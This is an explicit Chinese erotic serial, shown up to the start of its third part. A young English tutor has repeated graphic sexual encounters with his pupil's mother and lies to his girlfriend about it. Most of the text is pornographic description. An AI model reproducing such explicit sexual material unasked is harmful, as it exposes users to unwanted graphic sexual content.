图片载入中

我的家教经历1-5全

特大字】 【大字】 【中字】 【小字

我的家教经历(01-05全)

作者:lingzhu29055

之一

暑假快要结束了,家教中心又给我打来电话,说给我介绍了一个学生。本来 我打算好好休息几天或者去短途旅游。可家教中心的老师说,这是一个艺术生, 比较好带,而且课时费由我说了算,看在钱的份儿上,我还是答应了!

这个学生是学声乐的,今年专业课名列前茅,就因为文化课拉了后腿,所以 高考名落孙山,特别是英语只考了20多分,所以才让我给她补习英语。

约好了每天的下午4点到6点上课,今天是第一次课,而且我知道路比较远, 于是我早早得出了家门。出门的时候我给家长打了电话,接电话的是学生的妈妈, 她告诉我快要下车的时候再给她打电话,她去接我。从声音上判断,她可能三十 二三岁,声音很甜。

可能是由于道不熟的原因吧,我坐车反了方向,后来又坐回来耽误了不少时 间。我看看表,已经过了约定时间半小时了,我又打电话给她,她说没关系,第 一次来嘛!一会儿到了终点站她过来接我,并告诉我她穿了一身红色的衣服,骑 一辆红色50摩托车。

车子终于到了终点站,实际上,车上除了司机也就我自己了。我走下车,果 然,一个中年女子推车一辆红色摩托车走过来。我仔细的打量了一下她,岁数和 我猜的差不多,穿了一身红色的连衣裙,那种热烈的红,我还特意注意了她的鞋, 她穿了一双绣着碎花的鞋,也是红色的。我正看得出神。

“你好!你就是那个英语老师,张老师吧?”她浅笑着伸出右手,“我是李 娜的妈妈!”

“你好!”我这是才注意到自己有点失态,也赶紧伸出手说:“还得让你来 接我,真不好意思。”

“快坐上来吧!”她往前挪了挪屁股,招唿我坐上她的摩托车。

可是她的50摩托车有点太小了,两个人的确挤了一点。

“我们还是走着吧,”我有点不好意思。

她也看出来我的窘态,道:“那好吧!一个大男人有什么不好意思的呢?”

我被她说得脸有些发红。

我们一路谈着,我知道这里不是她的家,为了方便女儿补习功课,她才在这 里租下了一套农家别墅,等女儿上完课,她也得回家,然后女儿回学校。谈话中 我知道她在天河一带住,我住的地方距离她家不远。

到别墅的时候已经快要六点了。我这是才见到我的学生,一个高高的瘦瘦的 小女孩,披肩的长发,穿一身黑色运动装,给人的感觉是清纯阳光。我给学生上 课的时候,她妈妈就一直坐在旁边,不时的给我添点水或调节一下空调的温度。

一个多小时很快过去了,我这时候有点着急,记得来的时候我看了站牌,末 班车是7点15分。这时候,学生的妈妈看出了我的心理,她告诉我,没关系, 等一会儿上完课,她送我回去。

看来末班车真的是等不上了,送我回去,我俩骑那个50摩托车,我不禁心 猿意马,所以接下来我心不在焉,课终于上完了。

打发女儿去了学校,她锁了别墅的门。看着她家那个小小的摩托车她笑了, “怎么,还打算走着回去,那可是好几十里路呢?”

“那还是我来带你吧!”我从她手里拿过钥匙,我顺便捏了一下她的手,我 发现那是一双很柔软的手。

我发动了摩托车,坐了上去,我尽量的往前挪屁股,她看了咯咯的笑着说: “你要站在踏板上骑摩托车吗?”我只好由往后挪了挪,她一叉腿,坐上了车, 两只手自然的搭在我的腰里,我心里一阵高兴,看来她很愿意和我接近呢!我们 一路说笑着,她说以后上课就去接我好了,反正她的单位没什么事可做,我不置 可否的应着。

走了一段,天渐渐的有点暗了。能感觉到后面她两团肉顶在我的后背上,我 慢慢的骑着,享受着这特殊的按摩。前面车子压倒一块砖头上,摩托车颠簸了一 下,她一下子抱紧了我。前面又平缓了,我发现她的手也并没有拿回去,我心里 一阵麻酥酥的感觉。

天渐渐的黑了,她趴在我的后背上不再说话。我知道这时我们两个的心理都 愿意路再长一些。前面进入市区了,灯火亮了起来,她趴在我耳边说:“我请你 吃饭吧,张老师?”

“恭敬不如从命!”

她从后面掐了我一把,“少贫!”

“回去晚了不怕老公审问你啊?”我跟她开着玩笑。

“我老公在天津呢,一年半载不回来一次,要不让你陪着我吃饭阿!”她的 声音有些哀怨。

看来我今天有戏了!“那你想吃点什么呢?……”

我发现到现在还不知道她姓什么叫什么呢!

“你以后叫我茹姐好了,别显得那么生分。”她把头靠在我肩上。

“那你就叫我明远吧!茹姐。”

“那我们吃点什么呢?”我回过头来看着她。这是我发现她脸色绯红,眼神 有点迷离。

“喜欢喝酒吗?”

“喜欢啊!”

“那到我家去吧,我家里还有几瓶好酒呢!”

“方便吗?”我嘴里这样说着,心里可是求之不得呢!

我们在她家下面的一家酒店里要好了外买,然后一起上楼。我发现她家里装 修得很豪华,家具也都很考究。

“你先去冲个澡,我们一路风尘仆仆的。”她给我打开了卫生间的门。我进 到卫生间里,发现卫生间里很温馨,都是粉红色的基调。不到几分钟我就出来了。 她已经给我沏好了茶,茶几上还放着饮料,“你喜欢什么就自己用吧,我去冲冲。”

卫生间里响起了水声,我心里不禁痒痒的,下面都有了反应。我努力克制着 自己,不要冲到卫生间里吧!我还不知道她喜欢那种类型呢!

好不容易,她出来来,穿了一身睡衣,头发散乱的披在胸前,我定定的望着 她。

“你看什么呢,要吃了我吗?”

“我就是要吃你!”说着,我一把搂过她,她顺势倒在我的怀里。这是我的 下面早硬了,憋涨的难受。她坐在我的怀里,我的鸡巴一下子顶在她的屁股上。

她眼睛微微的闭着,嘴微张着,我一下子吻上她的嘴,她热烈的回应着,并 把舌尖伸到我的嘴里,我们忘情的吮吸着,直到有些气短。

上面动作着,我的手也没闲着,我顺着睡衣摸上去,里面居然没有穿内裤。

我一下把她的睡衣撩了上去,她的阴部就完全暴露在我面前了,她的阴毛非 常的浓密,好像从会阴一直长到了肛门。我分开阴毛,那里早就水汪汪的了。

这时她的唿吸越来越急促,我知道这时候要慢慢的享受。我慢慢的在她阴部 摸索着,分开大阴唇,我摸到了阴蒂,她的身体抖动了一下,用手抓住我的手, 不让我在活动。然后她的另外一只手摸到我的肉棒,替我套动着。

“叮咚、叮咚”门铃响了,我下了一跳,正不知所措。她按住我,凑在我耳 边小声说:“别紧张,送外买的。”我这才想起来我们要了外卖。她胡乱的放下 睡衣,开了们,服务员把饭菜摆到桌上就走了。

她锁了门,我一把把她推倒在沙发上,她也抱紧我,“好弟弟,我要你插进 去!

快点,我要!“我掏出我的肉棒一下就顶了进去。她夸张的尖叫了一声,” 啊!~“我感觉她的屄里好热,有一点烫人的感觉,而且里面很紧,包裹着我的 鸡巴很是受用。

我开始疯狂的抽插,她一挺一挺的迎合着。

“茹姐,你的屄还很紧呢。”我喘着粗气说道。

“那你愿意操茹姐的屄吗?”

“我愿意!我愿意操!”

“那就狠狠的操!”

“操什么呢?”我故意的问她!

“操屄!”

“操谁的屄呢”我大声的说。

“我的屄!狠狠的操,使劲的操!”

她的骚声浪语使我更加的兴奋。我把它翻过来,她跪在沙发上,我从后面猛 地一下一插到底,她又兴奋的叫了一声。这更加的刺激了我,我使劲的猛烈的插 着。她的一只手抓住我的手,引导我刺激她的阴蒂,我重重的揉搓着,我感觉到 阴蒂有一个豌豆那么大,圆鼓鼓的,硬硬的,还很光滑。她淫声的浪叫着,我的 手上、鸡巴上沾满了淫水。

我使劲的抽插着,我的鸡巴撞击着她的屁股发出“啪啪”的声音。

“好弟弟,你的鸡巴好硬,好粗,好长,你要把姐姐的屄操穿了,姐姐太舒 服了!

“啊!~啊!~使劲操我!”她浪叫着!

我更加兴奋了,加大了抽插的力度。

“太美了,太舒服了,我要泄了,别停,快插!”

我感到他的屄里一阵抽蓄,“啊!……”她大叫一声。我也感觉到一股热浪 袭向我的鸡巴,一股股有力的精液射进她的屄里面。我们同时达到了高潮。我也 就势倒在沙发上,鸡巴仍旧在屄里插着。过了许久我们才从性欲的高潮中恢复过 来。我的鸡巴已经软了,从她的屄里面滑落出来,她的屄刚刚给我开垦过,阴毛 一片狼藉,阴道口正有一股股白色的精液流出来。

“一块儿去冲个澡吧!”茹姐拉了我一下。

我们一块儿来到卫生间,茹姐让我站着别动,她用水龙头给我冲了一下,然 后开始给我的打香皂。当到了我的鸡巴的时候,她先把香皂抹到手上,然后再给 涂到我的鸡巴上,然后轻轻的套弄着。立刻,一阵麻痒的感觉传遍全身,我的鸡 巴一下子涨得好大,好硬!

“你又想了?”茹姐轻轻的打了我的鸡巴一下,我的鸡巴跳动了一下。

茹姐用水把鸡巴上的肥皂沫冲干净,然后她蹲下来,用嘴轻轻的舔着我的鸡 巴,然后一下吃了进去。可能有一根阴毛吃到了嘴里,她吐我的鸡巴,从嘴里把 阴毛拽了出来,然后又一口把鸡巴吃了进去。

“舒服吗?”她把鸡巴吐出来,仰着头问我。

我这时才注意茹姐其实很美,皮肤白里透红,有着少妇的成熟与芬芳。

“茹姐,我好爱你!”我一把把它从地上拉起来,抱在怀里。

“真的吗?明远,我的好弟弟!”我看到她的眼里依稀有泪光闪动。她也紧 紧地抱住我。

“真的,茹!”我把那个姐字去掉了,直接叫她茹。

“我们到卧室去好吗?”茹姐简单的冲去身上的肥皂说。

我一把抱起了茹,她也幸福的楼紧我。我抱着他来到卧室里。轻轻地把她放 在床上。我发现她的卧室布置得也很温馨,也是粉色的基调,她显然是懂得生活 情调的人。

“远!快点,我要!”茹姐梦呓的叫着。

我这才发现床上的她,脸色驼红,胸膛起伏着,乳房由于平躺着,显得很平 坦,但是乳头直立着。看到这些,我刚才稍微平静了的情绪又一下子兴奋起来, 鸡巴也一下子硬了起来!

我吻着他的乳头,我发现她的乳头很硬。我一路向下,又来到她的那片芳草 地,分开阴毛,我寻找着那个小蓓蕾。由于刚刚干过,她的大阴唇向外翻着呈紫 红色,我用舌尖舔着那颗小蓓蕾,慢慢地向下移,来到桃源洞口,我的舌头一下 深进半截。

“嗯!”她闷叫了一声。

这时我翻转了过来,让我的鸡巴能对着她的头部,她立刻明白了我的用意, 用手抓住我的鸡巴,含在嘴里套弄着。我们就这样玩着69式。

我甚至将整根舌头插入了她的屄里面,我的鼻子上都沾满了淫水。她的唿吸 越来越急促。“远,快用你的鸡巴插,我受不了,快点!”她把双腿叉大开。

我把嘴从她的屄上离开,躺下喘着粗气。

她一下子压了上来,爬到我的身上,抓住我的鸡巴一下子对准了她的小屄, “兹”的一声,全根没入。“啊!~”她叫了一声,开始上下套动,我一伸手把 床头的大灯打开了,我清楚地看到我的鸡巴在她的屄里进进出出,淫水顺着鸡巴 往下流着,太刺激了!她忘情的耸动着,套弄着,旋转着,研磨着。我用力的推 着她的屁股,好使抽插的力度更大,感觉更刺激。

这样干了大约有20分钟,我让她下来坐到床边上,用手抬起她的一条腿, 架到我的肩上,一只手扶着,另一只抓着鸡巴,一下塞了进去,我一挺一挺的插 着,她把脸埋在我的怀里,不老实的舔着我的胸毛。

“茹,爽吗?”我喘着粗气,大声地说!

“爽死了,老公,我的亲老公!你快操吧!”她喃喃的说。

“你哪儿爽?”我问道。

“屄,我的屄爽,你操得我的屄爽。”茹大声地浪叫着。

这样,一会儿我就有点累了。我们又躺倒在床上,我们并排的躺着,我让她 一条腿举起来,我摸到她的屄口,一侧身把鸡巴顶了进去,这样慢慢的干着。我 腾出一只手摩挲着她的阴蒂。这样摩擦着虽然幅度不大,但是快感也很明显。我 有了要射精的冲动,但是努力的把持着。

“我泄了!”茹紧紧地抱着我,我感觉的她的屄包紧了我的鸡巴开始抖动, 我也猛地抽插了几下,随着她屄的抖动,我也把精液射进她的屄里。

好久,她从床头的小抽屉里拿出一块湿巾递给我,我按着她不让她动,为两 个人清理了下面。

茹告诉我,她不喜欢做爱完了就去冲洗,她喜欢静静的躺着享受性爱高潮消 退的过程。于是我们静静的躺着,她又偎到我的怀里。

“远,你跟我做爱舒服吗?”茹紧紧地抱着我问。

“太舒服了!茹,我真想天天都操你!”我故意说了一句粗话。

她又把嘴唇凑过来,我们浅浅的吻着。

“远!你说爱我是真的吗?”她期期艾艾的问道。

“真的啊!我对天发誓!”我也不知道为什么这样说,我们才认识不到半天 啊!

“如果我说的是假的我情愿……”

她用嘴堵上我的嘴,我们又热烈的吻着。

就这样在床上不知道过了多久,我突然觉得有些饿,这时候才想起来还没有 吃饭呢。我推了茹一把,她没有动,我以为她睡着了,慢慢地凑过去,我发现她 大睁着眼睛,一颗颗晶莹的泪珠从她的眼睛里滚落。

“茹,你怎么了,你伤心了,你不快乐吗?”我一连串的问道,然后我俯上 去,为她吻干了脸上的泪。

“不!不是!远,我怕这是一个梦,会很快的过去的。我怕有一天你走了, 我受不了这个打击。”

“茹姐,不会的!只要你愿意,我会永远留在你身边。”我搂紧她的娇躯。

“好了,我们吃饭去吧,你饿坏了吧?”茹坐了起来穿上一件睡衣,我也到 外面沙发上穿了衣服。

我这时才感到是真的饿了。茹姐拿出了一瓶红酒,我们边吃边喝边聊。聊天 的过程中我才知道,茹姐的丈夫在天津做生意,一年南得回来几次。而且茹告诉 我,即便他回来了那方面也很少,即便有也是草草完事,根本就没有快感可言。

“而且,他也从来不过问我的生活,孩子也和他很生分,”她啜了一口酒, 幽幽的说:“你说,我这个跟守寡又有什么区别?”她的眼神变得哀怨起来, “远!你觉得姐姐是一个放浪的人吗?”她走过来坐到我的怀里,我让她侧过身, 这样我们可以依偎着。

“我也不知道为什么,第一次见到你,看到你从车上走下来的时候,就觉得 我已经离不开你了。姐可是除了丈夫以外的第一次给你啊,你要珍惜!”她抱紧 我,呡了一口红酒喂到我的嘴里,于是我们又一次深吻。这时我的下面又有了反 应。茹也觉察到了,她捏了我一把,“你真是的,那么厉害!”

我聊起她的睡衣,发现她的屄也已经洪水泛滥了。

我扶着鸡巴慢慢的从后面插了进去,她抱紧我,我们就这样轻轻的抱着,一 动不动。一会儿,我们吃点菜,必是她吃了喂我,酒也是她喝了吐给我。

“远!动动嘛!人家下面痒!”茹满脸绯红。我不知道是因为饮酒还是性欲 高涨的原因。

我故意挺着不动,茹着急了,“你真坏!故意吊人家胃口。”说着,她开始 扭动屁股,她屁股摩擦着我的阴毛,鸡巴也很是受用,我慢慢的享受着。

见我一直不动,茹开始发嗲。她一下离开我的怀抱,向卧室走去,“讨厌!

不玩了,让你不动!“

正在享受着的我,被她这么一闹,更感觉鸡巴涨得难受。我迅速的追到卧室 里,一下把她按在床上,屁股正对着我,我挺着鸡巴就插了进去。

“远!姐姐的屄爽吗?”她一边呻吟一遍问我。

“太爽了,茹!我喜欢操!”我回答道。

“那我就把它送给你了,现在它是你的了,你操吧,狠狠地操吧!”

听着这样的淫声浪语,我干的更猛了。

“啪啪!”“扑滋、扑滋!”

我把她反转过来,我们面对这面,我让她大腿分开,鸡巴从正面插了进去, 我们互相搂抱着,抽插着。

她的屄又开始抖动,我知道她又要到了,我一面加紧抽插,一面吻着她。一 股滚烫的阴精淋着我的龟头,我一激灵,立刻把她仰面推到在床上,我迅速的把 鸡巴从她的屄里拔出来,一股强有力的精液射在了她的小肚子上。她的胸膛起伏 着,两个乳房来回的颤动着。

她取出一块儿湿巾,擦干净了我刚才射出的精液,我们相拥而眠!

之二

从睡梦中醒来的时候,天已经大亮。窗帘半开着,屋里弥漫着一股淡淡的水 仙花的香味儿——我喜欢的味道!茹姐已经不在床上了,我懒懒得下了床,餐桌 已经收拾干净,电视开着,客厅、厨房都没有茹姐的影子。去了哪儿呢?

这时,有钥匙开门的声音,茹姐提了一堆的油条、豆浆、牛奶进来。

“老公,吃饭了!”茹姐把东西放在茶几上,一下子扑进我的怀里,“我要 好好慰劳慰劳你,昨天你累坏了!”

我把她抱在怀里,轻轻吻了一下她的额头。

“我不累,老婆。我情愿永远这么累呢!”

她仰起头,闭上眼。我知道她的用意了。我低头吻住她,她紧紧地抱着我, 我觉得有些喘不过气来。我们热烈的吻着,不知道过了多久,我们才分开。

“远,去刷牙洗脸,我给你煎两个鸡蛋。男人做了那事儿是要补一补的。”

茹姐从茶几上的一堆东西里拿出了一支牙刷和一支牙膏递给我,在我脸上吻 了一下,轻快的进了厨房。

洗漱完毕,早餐已经摆好了。吃完早餐,我穿好衣服,茹姐把茶几桌子收拾 干净。她又偎进我的怀里,“远,我不愿你走,我希望你永远得这样抱着我。”

我轻轻地揽住她,“茹,我也不想走,可是我下午得给李娜上课,我得回去 备课了。”

“那你得经常给我打电话啊!可不要把我忘了,我怕我们之间来得快,去得 也快。”茹姐玩着我衬衣上的扣子,把头埋在我的怀里。

又缠绵了一会儿,我看了看表,已经10点多了,我真的不得不走了。

从茹家里出来,走在街上,阳光是那样的灿烂,鸟儿的叫声分外的婉转,花 圃里的大理菊开的是那么的娇美和热烈,这些我往时怎么就没有注意呢?!

茹姐的家距离我住的地方也就两站地,所以我就走着回了家。

我和女友慧租住在一个单位的筒子楼里面,我们同居已经一年多了,她是大 我一年级的学姐,说是学姐,她比我还小一岁呢!她今年就要毕业,去了外地实 习。

我打开门,一个身影身影闪了一下进了卫生间。我知道一定是慧回来了。

“哗啦!”卫生间的门插上了。我有些奇怪,往时,家里只有两个人的话, 她是不插卫生间门的。我敲下门,里面没有反应。我只好回沙发上,过了许久, 里面还没有动静。

“小慧,别闹了,快出来吧!”我高声的喊道。里面还是没有声响。

我搬了凳子,从上面的窗子里望进去,小慧正坐在马桶上,脸绷着,好像是 生气了。

“小慧,快出来!”我拍了拍窗上的玻璃。

小慧站起来,慢慢的开了门。我抱住她。她生气的别过脸。“你昨天上哪儿 了,也不说去接我,害得我半夜一个人从火车站回来!”

“那你怎么不给我打个电话呢?”我涎着脸说。

“还说呢,你的电话一直关机,你去哪儿了,昨晚?”她拧住我的鼻子问。

“我去给一个学生补习功课,晚了,就住到附近的一个同学哪儿。”我们学 校的大部分学生在外面租房住,所以这个谎应该能够撒得过去。

“那你为什么关机呢?”说着,他从裤兜里掏出我的电话。

“我……可能是没电了吧!”我搪塞着。

小慧开了我的手机,“滴滴”手机又关上了,的确是没电了!“哼!就绕了 你吧!”她终于松口了。

我松了口气,轻轻抱住她。“小慧,你累了,去休息会儿,我要备会儿课, 下午还要辅导学生呢。”

她一下子急了,“怎么,往时,我们要是一个星期不见,你都憋得难受,不 管什么地方什么时间都要要,今天你怎么了?”她捶打着我的胸膛。

“昨天在同学那里喝了些酒,我俩聊天有聊到很晚,而且我还有点感冒。”

我故意装作虚弱的样子。

她关心的摸着我额头,“人家昨天没有给你打电话,想突然回来给你一个惊 喜,你倒好,哼!”

她伸手摸向我的裆里,天啊,这是我的鸡巴一点反应也没有。昨天晚上和茹 做了三次,也难怪!不过我和小慧一晚做四五次的时候也有啊,我也不知道问题 出在哪儿。我慢慢的拥着她到了床上。

“远,你怎么了,你从来没这样过啊?你是不是真的病了?”

“没事的,一会儿就好了。”我慢慢的躺到床上。

这是小慧脸色潮红,唿吸也变得不均匀起来。她慢慢把我们两个人的衣服脱 光,俯下头,一下把我的鸡巴含在嘴里。下面受到刺激,加之看到小慧青春的躯 体,我渐渐有了反应,鸡巴直立了起来。

“你累了,让我来吧!”小慧骑了上来,开始套动,我努力迎合着,并使劲 儿挺动着,我怕她会有所怀疑。

我担心的事情还是发生了,在做爱的时候,我的眼前总晃动着茹的影子,一 会儿鸡巴软了。小慧从我身上爬下来,狐疑的看了我一眼,又俯下头舔着我的鸡 巴,直到他又硬了。

这样小慧也终于达到了高潮,我也射了精。

我们相拥着睡去了。

醒来的时候是下午了,我给手机换可一块儿电池。“叮咚!”有一条短信进 来,小慧拿起我的手机翻看:远,记的下午给娜娜上课,我就不过去了,晚上能 过来吗?我给你做好吃的!茹。

我也正凑过头,我俩同时看到了这条短信。

“王明远!你这个骗子,你骗我!”小慧抽泣着把我手机狠狠地扔在床上。

我坐在床上不知如何是好。我们一直都没有说话。我下午上课走的时候跟她 打招唿,她也不吱声。

上课的时候,我有些神情恍惚,总惦记着家里的小慧。

李娜注意到了我的表情,调侃道:“老师,怎么不高兴,是不是我妈妈给你 的钱少了?”

“呵呵!哪里!我有点感冒。”我搪塞道。

上完课,我给茹姐打了电话,告诉她我今天有同学聚会,不能过去了,就匆 匆赶到我的住处。房间里空空荡荡的,小慧已经走了。

桌子上有一封信,我急切的打开它:" 远!我的老公!请还允许我这样称唿 你。

这次回来本来是有好多事情和你商量,我们的实习已经结束了,我打算和你 商量,我先到南方发展,等你毕业了,如果我有所成的话,你就过去。不然我就 回来,我们一块儿去学校教书,那该多好!可是现在……我希望你只是一时的乱 性,而不是爱上了别人,我也知道你也一直在意我给你的时候不是处子之身了。

可是,那都是过去了,不是你把我从别人手上抢过来的吗?好了,不说了。

远,我走了,去了南方的某个城市,我的手机也换了,不要试图和我联系, 我给你一年的时间。如果你到时候还不能忘记我(也许是我自所多情吧),一年 后我会和你联系的,我记着你的e- mail。

每天上午昏昏的睡觉,下午去给李娜上课。我有意的回避茹姐。

10多天过去了,李娜的英语水平有了一些提高,我们学校也开课了,同学 们聚在一起,我的心情好多了。有时候想起小慧,我觉得我还是爱她的,不知道 她现在在哪里,一个人孤单吗?也有时候想起和茹姐的那一夜,觉得恍如梦境。

开学后,我改为每周周末两天下午给李娜补习功课,因为李娜平时也要到学 校上课。茹姐有时候打电话给我,我总是找各种理由搪塞。

秋天到了,校园里的银杏树镀上了一层金黄,天显得那么高远。我有时候一 个人独坐在夕阳里看那一片片的落叶,看天空中独自盘旋的苍鹰。

10月20日是我的生日,我的那帮哥们姐们为我祝贺了一番。我多喝了几 杯。独自一个人回到了住处,我不敢开启房门,我知道我开启的将是孤独寂寞和 无边的暗夜。

我一遍一遍拨着小慧的电话,“你拨的号码是空号,请查证后再见拨!”我 猛地将手机扔下墙角。可是它并没有摔坏,反而响了起来。我赶紧捡起来,潜意 识里那应该是小慧的电话吧。

“你是明远吧?”

“小慧!我终于拨通你的电话了,你好狠心,不接我的电话。”

“谁是小慧阿,我是你茹姐!”

“你?……我……”我一时语塞。

“明远,我听出来了,你喝多了,你干吗折磨自己?你好像和女朋友闹别扭 了,是吧?”茹关心的问道。

“嗯!我好难受,我……我……”我不知道该说什么。

“明远,你在哪儿,我过去陪陪你,好吗?”茹姐急切地问。

我说了我的地址。

茹姐赶过来的时候,我正跌坐在住所的门口。她从我身上摸出钥匙开了门, 把我放到床上,我记得她给我到了水漱口,还给我洗了脚。

醒来的时候已经是后半夜,我推掉了身上的毛毯,发现茹姐偎在沙发上已经 睡着了。

这时我的酒已经醒了。我推了推茹姐,她呻吟了一下睁开了眼睛,我把她轻 轻的抱到床上,“到床睡吧,别着了凉!”

这一夜我们都没有冲动,她听我给她讲我和小慧的故事。

时间过的真快,冬天转眼来了。一个周末,我接到茹姐的电话,她告诉今天 给李娜上完课,不要走,在别墅里等她。

我对李娜的英语是多让她自己阅读课外读物,加之经常的口语对话,我发现 她的成绩提高的很快,这次的期中考试考了80多分,这样的成绩对于一个艺术 生已经很不简单了。今天的李娜上身穿了一件套头羊毛衫,下身穿了一条很紧身 的牛仔,,披散的长发扎了个马尾辫,皮肤牛奶般的白皙。我从来没有仔细的打 量过她。

“老师,我是不是很漂亮?”李娜调皮的问。

“切!小孩子丫丫,怎么问我这样的问题!”

“呵呵!因为我今天发现老师的眼光有点色!”

“好了,不开玩笑了,开始上课!”我一本正经得说。

“好吧!”李娜嘟起了嘴。

在课程快要结束的时候,茹姐来了。他还拿了一个厚厚的包裹。等到李娜走 了,茹姐关上门,打开那个包裹,原来是一件黑色的羽绒风衣,是今冬比较流行 的款式。

“愣着干嘛,来,试试合适吗?”茹姐招唿我。

“哈哈,真帅呆了,我敢说超过王世文!”茹姐笑着给我趁拽着衣服。

我在镜子前照了照,还真是的,自己1米80的身高,穿上这件衣服真的很 合体,我不禁佩服茹姐的眼光。这时,茹姐又把一个信封递到我面前。

“什么呀?”我不解的问。

“你给李娜上课的课时费啊!”茹姐把信封塞到我手上。

我打开信封,是一叠崭新的百元大钞。“茹姐,你这是…”我又把信封推给 茹姐。

“收下吧!这是你应该得到的!”茹姐硬是把它赛道我的口袋里。

“我还要送给你一件东西。”茹姐得脸有些红。

“什么?”我不解的问。

“你猜?”

“我猜不出来。”我实在不知道她再耍什么花招。

“你凑过耳朵来。”

茹姐一下抱住我的头,用嘴摸索我的耳垂,小声地说:“屄!我要把我的屄 送给你!”

这样的话,我一下子就受不了了,我觉得我下面迅速暴涨,连裤子都要顶起 来了。我们隔着衣服摸索着。茹姐示意我到床上去,我硬是按着他俯在窗台上。

我迅速的解开她的腰带,把裤子褪下来,一只退到小腿部位。她今天穿了一 件纯白色的内裤,是带蕾丝边的那种。我迅速的摸到小腹,隔着内裤摸索着。这 时我发现她的内裤已经湿了一大片。

她也回过手来拉下我的拉链,我腾出一只手把鸡巴掏出来,一下顶在她雪白 的屁股上。她回过头来用一只手勾住我的脖子吻起来,我也伸出舌头,我们互相 吻着。我一只手摸着屄,另一只手移到她的乳房,上下左右的摩擦着。

“嗯!嗯!”她呻吟着。

“远,操我!操我!”她浪叫着。

我继续摸索着,把鸡巴在她的屁股沟里来回摩擦着。

“受不了了,插吧!使鸡巴插吧!”

我没有直接的插进去,而是继续的摸着阴蒂。

“受不了了,远!老公!我要泄了!啊!啊!”我把两根指头插到她的屄里 面,她的屄一阵阵收缩,烫的我的手快要受不了。淫水顺着我的手往外流着。

“舒服吗?”我走在她耳边小声问。

“真是太舒服了,我都要飞到天上去了!”茹喘着粗气。

我把她的内裤向一边撩了撩,她更把屁股厥起来,好让屄更显露出来。我用 手摸准了屄的入口,然后用龟头在她屄口儿上来回的研磨,浅浅的抽插。

很快,她就受不了了。“痒!痒!里面痒!”

“那里痒啊?”我也出气不均匀了。

“就是哪里!”她引着我的一只手来到她的小骚洞边。

“快说,不说我就不给。”我故意逗弄着她。

“屄!屄痒!我的屄痒!快插!”她已经迫不及待了。

“快插嘛!”她向后耸了一下屁股,想把鸡巴吃进去。我才不上当呢。我立 刻向后挪动了一下鸡巴。

“我的小骚屄痒啊!求求你快插进来吧!”她真的有点着急了。

我又摩了两下,向好一欠身,然后猛地插了下去,“扑兹!”一声,全根没 入。

“啊!”她长长的尖叫了一声!

“啊!爽!美死了!我不行了!”

说着,他的屄里面又一阵阵的紧缩。我紧紧地顶着不动,享受着那一阵阵屄 的内壁紧抱着鸡巴的感觉。

这样休息了一会儿。我把她的衣服向上撩起来,露出半个后背,她雪白的屁 股也暴露在我眼前。这样我才更加刺激。我开始猛烈的抽插。

“啪!啪!”“啪!啪!”“咕叽!”“咕叽!”这些声音美妙极了。

“远,姐姐的屄美吗?骚吗?”她呻吟着。

“美!骚!爽!”我一边抽插,一边回答。

这样的姿势我们都有些累了,于是我鸡巴在里面插着挪到了床沿上。我猛地 把鸡巴拽了出来。她翻过身一下子就摸到我的大肉棒,引导我来到她的紫黑色地 带,把鸡巴放到洞口,我一挺身又插了进去。我把她两条腿架起来,玩起了老汉 推车。

可能这样的动作插入太深了,她不停的浪叫,“远,你真坏!你个大坏蛋!

你要把人操死了!我的屄要烂了,啊!啊!使劲儿顶!“

下面的淫水把床单都打湿了,我的鸡巴在这样的洪水泛滥之下,快乐的,恣 意的抽插。我一会儿深入深出,一会儿在屄口上摩。

一会儿,茹的性欲又开始高涨,她抱紧我的腰,狠狠的往下使劲。我知道她 又要泄了。我加大了力度!

“茹姐,我插你的小骚屄,你的小浪洞!”我大喊道。

“插吧!茹姐的屄是你的,插吧!干吧!操吧!使劲儿!”她不停的叫着。

我感觉到我已经受不了了,“茹,我要射了,我要射到你的屄里面!”

“射吧!你把姐姐的屄射穿吧!”茹重重的喘息着。

我感到一阵麻酥酥的感觉,从小腹到丹田,再由丹田到鸡巴,一股热流箭一 般射入茹的屄里面。

这时,茹也达到了高潮,屄一阵阵的紧缩抖动抽搐!

“爽!美死了!我开花了,我上天了!啊……啊!”她呻吟着抱着了我!

许久我们才从快乐的巅峰跌落下来。抱在一起说这悄悄话。

“远,你真厉害!我一辈子都没有像今天这么快了!我仿佛到了天堂!身体 好像一下子飘到了云端,又好像快要爆炸了!”她用赞美的眼神看着我。

“我也是。茹,你能让我释放我所有的激情!”我回应她。

“不过,你也真狠心!上次你把人家点燃了,就再也不理人家了,这些日来 我都快崩溃了,做梦都是和你在做爱。”她点着我的鼻尖。

又休息了一会儿!我们穿上衣服来到窗前!外面居然飘起了雪花,雪不大, 慢慢地,优雅地飘舞着。

“你那里下雪了吗?面对寒冷你怕不怕……”一首歌在我耳畔隐约响起。我 突然想起远方的慧:你那里下雪了吗?面对寒冷你怕不怕?

人是一种多么奇怪的动物啊!跟一个女人在一起的时候会想起另外一个人!

之三

今年的冬天雪好大,这在我们这个北方城市是不多见的!

由于路不好走,也由于没有了小慧,我一个人住太孤单,于是我退掉了租住 的房屋,又重新搬回了学校宿舍住宿。对于我的回来,舍友们高兴极了,因为大 家又可以谈天说地了,其实我们宿舍也就剩下老三和老五在坚守阵地了,其他的 几位弟兄也都和女友双宿双飞了。

雪大路滑,星期天给李娜上课的时候,我不让茹姐到学校接我了,我自己坐 车去。每个周六周日我给李娜上完课,就和茹姐在她们的别墅里忘情的做爱。

又是一个周末,我坐车赶往别墅,下车后还有一段路程。从终点站到别墅是 一段空地。雪后的原野一片空白,大地苍茫而空旷,一个人在茫茫的雪野里显得 是那样的渺小和孤单。

到了别墅的门口,我看看了表,三点二十,我今天来的有点过于的早了,也 不知道李娜来了没有。前几天,为了方便,茹姐把别墅的钥匙给了我,让我来早 了就先在那休息,上完了课也好在哪里等她。

我正要进门的时候,身后传来摩托车的声音。我回过头,一个非常秀气男孩 子骑着一辆摩托车过来,一身厚厚羽绒服的李娜从后面下来,跑到我的面前, “老师!您早来了?让您久等了!”

“没什么!我也是刚到,我怕路上不好走,所以出来的早一点。”我跟李娜 说着话,眼光却望向骑摩托车的小伙子。小伙子腼腆的笑着。

“这是我的同学,刘海涛!”李娜看着那个小伙子,说:“你走吧,我要上 课了!”

“几点上完课呢,一会儿我来接你吧?”刘海涛仍然腼腆的笑着说。

“不用了,今天我爸爸回来了,我要回家去吃饭,不回学校了。”李娜向刘 海涛招了招手,“星期一见!”

“再见!”刘海涛好像不高兴的样子,他发动了摩托车走了。

目送刘海涛走远,我们来到别墅。

